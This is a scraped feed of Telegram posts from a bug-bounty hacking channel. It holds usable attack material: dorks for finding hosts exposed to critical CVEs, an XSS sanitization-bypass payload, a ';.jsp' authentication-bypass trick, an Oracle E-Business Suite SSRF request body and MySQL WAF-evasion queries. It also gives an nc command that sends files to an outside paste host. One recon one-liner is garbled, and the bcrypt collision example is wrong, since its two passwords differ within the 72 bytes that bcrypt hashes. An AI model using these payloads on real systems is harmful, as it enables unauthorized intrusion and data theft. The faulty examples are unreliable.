This media is not supported in your browser
VIEW IN TELEGRAM
Tired of all the hassle when moving small files around?
Try this absolute gem
cat filename.txt | nc termbin.com 9999
https://termbin.com/abcd β share it, save it, or just keep it for later. No login, no setup. Just pure terminal magic. β¨Perfect for notes, PoCs, or scripts when you're working remotely on a VPS. π»π
#bugbounty #cybersecurity #linuxTips #vps #infosec #hacking #brutsecurity
Please open Telegram to view this post
VIEW IN TELEGRAM
β€18
Tired of switching tabs for OSINT and recon? Just join our Discord and type sudo help to unlock powerful tools in seconds!
β IP & Domain Lookup
β Email & Phone OSINT
β Subdomain Enumeration
β Reverse Image Search
β URL & Virus Scanners
β Temp Email, QR Tools, and more
π You can create and play your own CTF in a minute , right inside Discord!
Try it out now β itβs fast, simple, and all in one chat.
π https://discord.gg/u7uMFV833h
#ctf #bugbounty #osint #cybersecurity #discordtools #infosec
β IP & Domain Lookup
β Email & Phone OSINT
β Subdomain Enumeration
β Reverse Image Search
β URL & Virus Scanners
β Temp Email, QR Tools, and more
π You can create and play your own CTF in a minute , right inside Discord!
Try it out now β itβs fast, simple, and all in one chat.
π https://discord.gg/u7uMFV833h
#ctf #bugbounty #osint #cybersecurity #discordtools #infosec
β€12
JSMap Inspector - A powerful, offline, single-file HTML tool designed for developers and security researchers to inspect and analyze JavaScript Source Map (
https://github.com/ynsmroztas/JSMap-Inspector
.js.map) files.https://github.com/ynsmroztas/JSMap-Inspector
β€16π4π₯2
Please open Telegram to view this post
VIEW IN TELEGRAM
β€20
π¨ CVE-2025-61481 (CVSS 10.0) : Critical MikroTik Flaw Exposes Router Admin Credentials Over Unencrypted HTTP WebFig. It affects RouterOS v.7.14.2 and SwitchOS v.2.18.
πDork:
HUNTER : https://product.name="MikroTik RouterOS"||https://product.name="MikroTik SwOS"
πDork:
HUNTER : https://product.name="MikroTik RouterOS"||https://product.name="MikroTik SwOS"
β€7π₯2
CVE-2025-54236: Improper Input Validation in Magento (Adobe Commerce), 9.1 rating π₯
A critical vulnerability disclosed in a recent advisory allows attackers to perform RCE. Exploitation attempts have already been recorded!
Search at Netlas.io:
π Link: https://nt.ls/Edck5
π Dork: tag.name:"magento" AND http.headers.server:"Apache"
Vendor's advisory: https://helpx.adobe.com/security/products/magento/apsb25-88.html
A critical vulnerability disclosed in a recent advisory allows attackers to perform RCE. Exploitation attempts have already been recorded!
Search at Netlas.io:
π Link: https://nt.ls/Edck5
π Dork: tag.name:"magento" AND http.headers.server:"Apache"
Vendor's advisory: https://helpx.adobe.com/security/products/magento/apsb25-88.html
β€3π2πΏ2
Hey Hunters,
DarkShadow here back again, dropping an
interesting XSS input sanitization bypass method.
You might have noticed that most websites currently use input sanitization by blocking certain tags and events, right!? Not really π
Okay, so first, have a look at some example tags that could trigger XSS:
The website blocks these keywords if they appear inside tags like < > or </ > and replaces them with nothing β basically, null or an empty string "".
So, if you try a payload like:
It will be replaced with:
Now, think a bit more deeply β what if you write a payload like this:
In this payload, look at the first part:
Here, <img> is a full image tag, and it will definitely be removed by the sanitization filter. But what about <script<?
You can see the <script> tag isnβt written properly yet β itβs <script followed by <, so it doesnβt match the sanitization logic exactly.
Now, the interesting part is when the <img> tag gets removed from <script <img>>. After that, weβre left with <script>!
That means the transformation is like this:
And finally, we get a valid payload:
So guys, if you really like reading DarkShadowβs methodologies, show your LOVE.
And donβt forget to follow me ππΌ x.com/darkshadow2bd
#bugbountytips #xss
DarkShadow here back again, dropping an
interesting XSS input sanitization bypass method.
You might have noticed that most websites currently use input sanitization by blocking certain tags and events, right!? Not really π
Okay, so first, have a look at some example tags that could trigger XSS:
script, img, a, iframe, object, video, audio, form, meta
The website blocks these keywords if they appear inside tags like < > or </ > and replaces them with nothing β basically, null or an empty string "".
So, if you try a payload like:
<script>alert(1)</script>
It will be replaced with:
alert(1)
Now, think a bit more deeply β what if you write a payload like this:
<script <img>> alert(1) </script </img>>
In this payload, look at the first part:
<script <img>>
Here, <img> is a full image tag, and it will definitely be removed by the sanitization filter. But what about <script<?
You can see the <script> tag isnβt written properly yet β itβs <script followed by <, so it doesnβt match the sanitization logic exactly.
Now, the interesting part is when the <img> tag gets removed from <script <img>>. After that, weβre left with <script>!
That means the transformation is like this:
<script <img>> β remove <img> β <script>
</script </img>> β remove </img> β </script>
And finally, we get a valid payload:
<script>alert(1)</script>
So guys, if you really like reading DarkShadowβs methodologies, show your LOVE.
And donβt forget to follow me ππΌ x.com/darkshadow2bd
#bugbountytips #xss
π16π₯6β€4πΏ4
Extract all endpoints from a JS File and take your bug π
- Method one
- Method two
#infosec #cybersec #bugbountytips
- Method one
waybackurls HOSTS | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]?
15*[=: 1\5*[ '\"]?[^'\"]+.js[^'|"> ]*" | awk -F '/'
'{if(length($2))print "https://"$2}' | sort -fu | xargs -I '%' sh
-c "curl -k -s \"%)" | sed \"s/[;}\)>]/\n/g\" | grep -Po \" (L'1|\"](https?: )?[/1{1,2}[^'||l"> 1{5,3)|(\.
(get|post|ajax|load)\s*\(\5*['||\"](https?:)?[/1{1,2}[^'||\"> ]
{5,})\"" | awk -F "['|"]" '{print $2}' sort -fu- Method two
cat JS.txt | grep -aop "(?<=(\"|\'|' ))\/[a-zA-Z0-9?&=\/-#.](?= (\"||'|'))" | sort -u | tee JS.txt#infosec #cybersec #bugbountytips
β€14π1
Hey Hunter's,
Darkshadow here back again!
β¨Authentication bypass method:
β Steps:
1. Target..com/carbon/server-admin/memory_info.jsp = redirect to login page [301 status]
2. Target..com/carbon/server-admin/memory_info.jsp;.jsp = gives the page content without authentication [200 status]
Tip:
1. Find sensitive path from js file which need authentication.
2. Try to find endpoints which end with a extension like: .php, .jsp, .shtml etc.
3. Simply Fuzz every endpoint with the same extension payload like: ;.jsp ;.php ;.shtml
If any of these gives 200ok check manually. And might it's works!
Don't forget to show your loves guy's β€οΈ
Darkshadow here back again!
β¨Authentication bypass method:
β Steps:
1. Target..com/carbon/server-admin/memory_info.jsp = redirect to login page [301 status]
2. Target..com/carbon/server-admin/memory_info.jsp;.jsp = gives the page content without authentication [200 status]
Payload ππΌ ;.jsp
Tip:
1. Find sensitive path from js file which need authentication.
2. Try to find endpoints which end with a extension like: .php, .jsp, .shtml etc.
3. Simply Fuzz every endpoint with the same extension payload like: ;.jsp ;.php ;.shtml
If any of these gives 200ok check manually. And might it's works!
Don't forget to show your loves guy's β€οΈ
β€21π4
π¨CVE-2025-64095 (CVSS 10.0) : A Critical Flaw in DNN Platform Allows Unauthenticated Website Overwrite
β‘Dorks
HUNTER : https://product.name="DotNetNuke"
β‘Dorks
HUNTER : https://product.name="DotNetNuke"
Hey Hunter,
DarkShadow is here back again, dropping an another SSRF!
Oracle E-Business Suite (12.2.3-12.2.14) SSRF POC
Method: POST
Path: /OA_HTML/configurator/UiServlet
Parameter: return_url
Body:
If you guy's Love to read then show your loveβ€οΈ
#bugbountytips #ssrf
DarkShadow is here back again, dropping an another SSRF!
Oracle E-Business Suite (12.2.3-12.2.14) SSRF POC
Method: POST
Path: /OA_HTML/configurator/UiServlet
Parameter: return_url
Body:
redirectFromJsp=1&getUiType=<?xml version="1.0" encoding="UTF-8"?>
<initialize>
<param name="init_was_saved">anything</param>
<param name="return_url">https://BURP_COLLABORATOR</param>
<param name="ui_def_id">0</param>
<param name="config_effective_usage_id">0</param>
<param name="ui_type">Applet</param>
</initialize>
If you guy's Love to read then show your loveβ€οΈ
#bugbountytips #ssrf
β€25π₯3
Grab all the GF Patterns from different Repositories at one shot !! π₯
*Link* : https://github.com/thecybertix/GF-Patterns
*Link* : https://github.com/thecybertix/GF-Patterns
GitHub
GitHub - thecybertix/GF-Patterns: This repository contains all the GF-Patterns Repositories. All we have to do is just to run theβ¦
This repository contains all the GF-Patterns Repositories. All we have to do is just to run the given Shell File and it's Done !! - thecybertix/GF-Patterns
π3
Nov 7: Mon & Fri, 8:00 PM IST
Nov 8: Sat & Sun, 9:00 PM IST
Please open Telegram to view this post
VIEW IN TELEGRAM
WhatsApp.com
Brut Security
Business Account
β€2
β€2
β‘οΈOutdated but Helpful Some MySQL tricks to break some #WAFs out there. βοΈ by @BRuteLogic
#infosec #cybersec #bugbountytips
SELECT-1e1FROM`test`
SELECT~1.FROM`test`
SELECT\NFROM`test`
SELECT@^1.FROM`test`
SELECT-id-1.FROM`test`#infosec #cybersec #bugbountytips
β€17
Hey Hunter's,
Darkshadow here back again, and Just Look at the wild thing:
User 1 Password:
protecting_my_accounts_with_long_readable_passwords123
User 2 Password:
protecting_my_accounts_with_long_readable_passwords456
If the web application using bcrypt hash algorithm then both user can login each other using there different password!
Explanation:
In bcrypt hash, only use first 72 bytes to make hash. That means, after 72 bytes every bytes (73th, 74th ...) are ignored!
So if the any users first 72 bytes are same (protecting_my_accounts_with_long_readable_passwords), then no matter after what he put on the password they both can login each other account.
#bugbountytips
Darkshadow here back again, and Just Look at the wild thing:
User 1 Password:
protecting_my_accounts_with_long_readable_passwords123
User 2 Password:
protecting_my_accounts_with_long_readable_passwords456
If the web application using bcrypt hash algorithm then both user can login each other using there different password!
Explanation:
In bcrypt hash, only use first 72 bytes to make hash. That means, after 72 bytes every bytes (73th, 74th ...) are ignored!
So if the any users first 72 bytes are same (protecting_my_accounts_with_long_readable_passwords), then no matter after what he put on the password they both can login each other account.
#bugbountytips
πΏ10β€5